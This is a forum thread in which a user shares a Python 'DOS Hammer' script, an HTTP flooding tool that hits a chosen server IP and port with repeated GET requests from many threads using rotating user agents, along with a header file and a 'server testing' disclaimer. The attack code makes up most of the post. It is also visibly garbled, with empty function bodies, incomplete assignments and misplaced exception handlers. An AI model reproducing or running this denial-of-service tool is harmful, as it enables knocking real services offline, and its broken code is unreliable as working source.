Sign in or Sign up

DOS Hammer
Started by Dox

Rate this topic
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5

2 posts in this topic
Dox Offline
Cyber Security Student

Posts: 414
Threads: 125
Joined: Mon Oct 2017
Reputation: 6

CZPoints: 136 CZP
10-23-2017, 09:14 PM -
Small DOS hammer I randomly found on my PC.
Requires Python 3

from queue import Queue
from optparse import OptionParser
import time,sys,socket,threading,logging,urllib.request,random

def user_agent():
    global uagent
    uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
    uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
    uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv: Gecko/20090913 Firefox/3.5.3")
    uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv: Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
    uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/ Chrome/16.0.912.63 Safari/535.7")
    uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv: Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
    uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv: Gecko/20090718 Firefox/3.5.1")

def my_bots():
    global bots

def bot_hammering(url):
        while True:
            req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
            print("\033[94mbot is hammering...\033[0m")

def down_it(item):
        while True:
            packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            if s.sendto( packet, (host, int(port)) ):
                print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! hammering--> \033[0m")
    except socket.error as e:
        print("\033[91mno connection! server maybe down\033[0m")

def dos():
    while True:
        item = q.get()

def dos2():
    while True:

def usage():
    print (''' \033[Follow me on twitter
    It is the end user's responsibility to obey all applicable laws.
    It is just for server testing script. Your ip is visible. \n
    usage : python3 [-s] [-p] [-t]
    -h : help
    -s : server ip
    -p : port default 80
    -t : turbo default 135 \033[0m''')

def get_parameters():
    global host
    global port
    global thr
    global item
    optp = OptionParser(add_help_option=False,epilog="Hammers")
    optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
    optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")
    optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")
    optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135")
    optp.add_option("-h","--help",dest="help",action='store_true',help="help you")
    opts, args = optp.parse_args()
    logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')
    if is not None:
        host =
    if opts.port is None:
        port = 80
        port = opts.port
    if opts.turbo is None:
        thr = 135
        thr = opts.turbo

# reading headers
global data
headers = open("headers.txt", "r")
data =
#task queue are q,w
q = Queue()
w = Queue()

if __name__ == '__main__':
    if len(sys.argv) < 2:
    print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m")
    print("\033[94mPlease wait...\033[0m")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error as e:
        print("\033[91mcheck server ip and port\033[0m")
    while True:
        for i in range(int(thr)):
            t = threading.Thread(target=dos)
            t.daemon = True  # if thread is exist, it dies
            t2 = threading.Thread(target=dos2)
            t2.daemon = True  # if thread is exist, it dies
        start = time.time()
        item = 0
        while True:
            if (item>1800): # for no memory crash
            item = item + 1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

I'm pretty sure this was from Github. I don't have the link though :/
Contact E-Mail: [email protected]
BTC Address: 1JmJrbmQn4Bg24r68bSyZ7TxNZGad3iPWM
[NS]DarkDude Offline
~# Nulled Systems #~

Posts: 32
Threads: 5
Joined: Sun Oct 2017
Reputation: 3

CZPoints: 24 CZP
11-10-2017, 01:28 AM -
source :
Dox Offline
Cyber Security Student

Posts: 414
Threads: 125
Joined: Mon Oct 2017
Reputation: 6

CZPoints: 136 CZP
11-10-2017, 10:05 AM -
(11-10-2017, 01:28 AM)an1m4l Wrote: source :

Thanks. I forgot about this post lol
Contact E-Mail: [email protected]
BTC Address: 1JmJrbmQn4Bg24r68bSyZ7TxNZGad3iPWM

Users browsing this thread: 1 Guest(s)